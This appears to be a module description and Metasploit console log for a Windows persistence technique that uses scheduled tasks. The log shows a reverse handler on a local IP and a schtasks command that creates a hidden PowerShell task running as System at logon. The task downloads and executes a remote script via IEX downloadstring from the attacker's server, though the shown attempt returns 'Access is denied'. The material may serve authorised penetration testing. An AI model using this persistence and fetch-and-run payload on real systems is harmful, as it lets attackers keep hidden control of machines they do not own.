Persistence with schtasks.

This Module will create a schtask that can either run once the user is idle,
or if the user is part of the admin group you can then create schtasks that
can work at boot or user login.  Windows checks a users idle time ever 15 minutes.
This should help keep persistence on a box as a normal user.
Since you're using the HTTPServer, the server will keep running even if if fails. I guess, even with the HTTPServer mixin, this module should be written as an aggressive one.

```
msf exploit(schtasks) > set session 3
session => 3
msf exploit(schtasks) > rexploit
[*] Reloading module...
[*] Started reverse handler on 172.16.158.1:4444
[*] Using URL: http://172.16.158.1:8080/aqut5I
[*] Server started.

[+] Part of Administrators group! Continuing...
[+] Executing schtasks /create /tn AzHrOl /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -nol -noni -c 'IEX ((new-object net.webclient).downloadstring(''http://172.16.158.1:8080/aqut5I'''))'" /sc onlogon /ru System
ERROR: Access is denied.
msf exploit(schtasks) > jobs

Jobs
====

  Id  Name
  --  ----
  4   Exploit: windows/local/schtasks
```